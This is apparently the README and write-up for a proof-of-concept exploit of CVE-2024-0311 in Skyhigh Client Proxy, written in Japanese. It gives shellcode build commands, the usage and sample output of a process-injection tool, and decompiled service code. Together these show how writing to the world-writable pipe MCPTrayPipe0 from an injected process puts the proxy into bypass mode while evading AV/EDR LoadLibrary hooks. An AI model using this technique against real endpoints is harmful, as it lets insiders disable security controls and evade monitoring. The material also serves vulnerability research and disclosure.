
CVE-2024-0311の概念実証エクスプロイト。プロセスインジェクションと名前付きパイプ操作によりSkyhigh Client Proxyのポリシーをバイパスし、AV/EDRの制限を回避するカスタムシェルコードを備えています。
これは、私が思うに CVE-2024-0311 および SB10418 の PoC です。
悪意のある内部関係者は、有効なリリースコードなしに Skyhigh Client Proxy の既存ポリシーをバイパスできます。
詳細は多め。エクスプロイト強め。 ¯\(ツ)/¯
この PoC は、ユーザーが実行した SCPBypass.exe プロセスにインジェクションし、SCPService.exe のパイプ \\.\pipe\MCPTrayPipe0 に書き込みを行います。パイプが RW Everyone であっても、WGUARDNT がパイプに書き込む実行ファイルに対していくつかのチェックを行う(ライターパスが検査される)ため、インジェクションが必要です。下記を参照してください。
Trellix/McAfee が稼働していて LoadLibrary をフック/ブロックしている場合でも、パイプへの WriteFile の実行を可能にするサンプルシェルコードが用意されています。
Visual Studio で Debug または Release ビルドします。
以下のようにしてシェルコードを生成します:
cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary
その後、シェルコードを shellcode.c に置き換えます。
Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: Don't call SetNamedPipeHandleState. The shellcode validate the pointer to SetNamedPipeHandleState before calling it..
* debugon: set a breakpoint into the shellcode (0xcc at offset 0) and spawn a thread to bind the named pipe. Don't use in production.
出力例:
PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>
すべてがうまくいけば、SCP のログファイルに次のようなエントリが見つかるはずです:
10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run - SCP will be going into bypass mode for 1440 minutes
簡潔な解説にする。言葉に費やす時間など誰にもないからね。
まず、Skyhigh Proxy Client とは何でしょうか?
Skyhigh Security Client Proxy ソフトウェアは、エンドポイントユーザーがネットワークの内部または外部から Web にアクセスする際に生じるセキュリティ脅威から保護するのに役立ちます。 Microsoft Windows または macOS を実行しているエンドポイントにインストールされるクライアントソフトウェアは、Web リクエストをリダイレクトするか、フィルタリングのためにプロキシへ継続させます。サーバーソフトウェアは、Trellix ePO SaaS または Trellix ePO Cloud のいずれかの管理プラットフォーム上で実行されます。
これで明確になったはずです。
アドバイザリからの情報だけでは、手がかりはあまりありません。正直に言うと、私は LPE に悪用しやすい問題を見つけようとバイナリサービスを調べていたところ、CreateNamedPipe を見かけて興味を持ちました。
Ghidra から逆コンパイルしたコードを簡単にコピー&ペーストしたものを示します:
void CreateNamedPipe_FUN_14022d150(undefined8 param_1)
{
BOOL BVar1;
int atoi_out_lpBuffer;
HANDLE hNamedPipe;
undefined8 uVar2;
undefined auStackY_4c8 [32];
uint nBytesRead;
undefined4 local_474;
undefined4 local_470;
ulonglong nBytesRead_0;
_SECURITY_ATTRIBUTES local_460;
undefined pSecurityDescriptor [48];
char out_lpBuffer [1024];
ulonglong local_18;
local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
InitializeSecurityDescriptor(pSecurityDescriptor,1);
/* BOOL SetSecurityDescriptorDacl(
[in, out] PSECURITY_DESCRIPTOR pSecurityDescriptor,
[in] BOOL bDaclPresent,
[in, optional] PACL pDacl,
[in] BOOL bDaclDefaulted
); */
SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
local_460.bInheritHandle = 0;
local_460.lpSecurityDescriptor = pSecurityDescriptor;
local_460.nLength = 0x18;
/* HANDLE CreateNamedPipeW(
[in] LPCWSTR lpName,
[in] DWORD dwOpenMode,
[in] DWORD dwPipeMode,
[in] DWORD nMaxInstances,
[in] DWORD nOutBufferSize,
[in] DWORD nInBufferSize,
[in] DWORD nDefaultTimeOut,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
*/
hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
if (BVar1 != 0) {
while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
BVar1 != 0) {
nBytesRead_0 = (ulonglong)nBytesRead;
if (1023 < nBytesRead_0) {
fail_or_fastfail_FUN_1404794f0();
}
out_lpBuffer[nBytesRead_0] = '\0';
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
local_474 = 0;
}
else {
TraceMessage_FUN_140027e70
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
local_474 = 1;
}
FUN_14022d510(param_1,1);
atoi_out_lpBuffer = atoi(out_lpBuffer);
uVar2 = FUN_140040210();
LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
local_470 = 0;
}
else {
TraceMessage_FUN_140027e10
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
);
local_470 = 1;
}
FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
atoi_out_lpBuffer);
FUN_14022d5b0(param_1,atoi_out_lpBuffer);
}
}
DisconnectNamedPipe(hNamedPipe);
}
FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
return;
}
この関数が呼び出されると、新しい DACL 構造体が初期化され、新しいパイプ \\.\pipe\MCPTrayPipe0 が byte mode で作成されることがわかります。
そして、そのようなパイプへのハンドルが有効である限り、プログラムはそこから読み取り、送信されたバイトを atoi(out_lpBuffer) で ASCII から int に変換しようとします。
atoi にはより良い代替手段があるという事実はさておき、atoi の呼び出しが失敗していないと仮定すると、変換された値は FUN_14022d5b0 に渡されます:
undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)
{
BOOL BVar1;
DWORD DVar2;
undefined8 uVar3;
LARGE_INTEGER local_10 [2];
local_10[0].QuadPart = (ulonglong)(uint)atoi_out_lpBuffer * -600000000;
BVar1 = SetWaitableTimer(*(HANDLE *)(param1 + 0xd8),local_10,0,(PTIMERAPCROUTINE)0x0,(LPVOID)0x0,0
);
if (BVar1 == 0) {
DVar2 = GetLastError();
uVar3 = FUN_140040210();
LOGFUN_1400402a0(uVar3,L"CBypassPipeServer::setBypassTimer",1,L"ERROR",L"Failed setting time %d"
,DVar2);
if ((((undefined **)PTR_LOOP_14069a4e0 != &PTR_LOOP_14069a4e0) &&
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) != 0)) && (1 < (byte)PTR_LOOP_14069a4e0[0x19]))
{
DVar2 = GetLastError();
TraceMessage_FUN_140027e10
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0x12,&DAT_1405da058,DVar2);
}
uVar3 = 0xffffffff;
}
else {
uVar3 = 0;
}
return uVar3;
}
これは SetWaitableTimer を呼び出します。ここの文字列は、意図したフローを見つけるのに少し役立ちました。
ここでの要点は、ScpService.exe プロセスが誰が何をパイプに書き込むかをチェックしておらず、データは盲目的に信頼されて受け渡されるだけだということです。さらに、accesschk でパイプのアクセス許可を確認すると、パイプは RW Everyone という結果になります。
したがって、エクスプロイトは基本的に次のことを行うはずです:
CreateFile(): パイプへのハンドルを取得SetNamedPipeHandleState(): バイトモードを設定WriteFile(): データを書き込むCloseHandle(): ハンドルを閉じるこれは文字通り PowerShell の数行で実行できます。簡単に勝てるだろう?いいえ。
物事がそんなに単純ならいいのに!技術的にはすべてそのように機能するように見える一方で、パイプを開こうとすると常にパイプクライアントがタイムアウトしてしまいました。少し深く掘り下げると、サービスが他のどこかで ACL を設定していることに気付きました。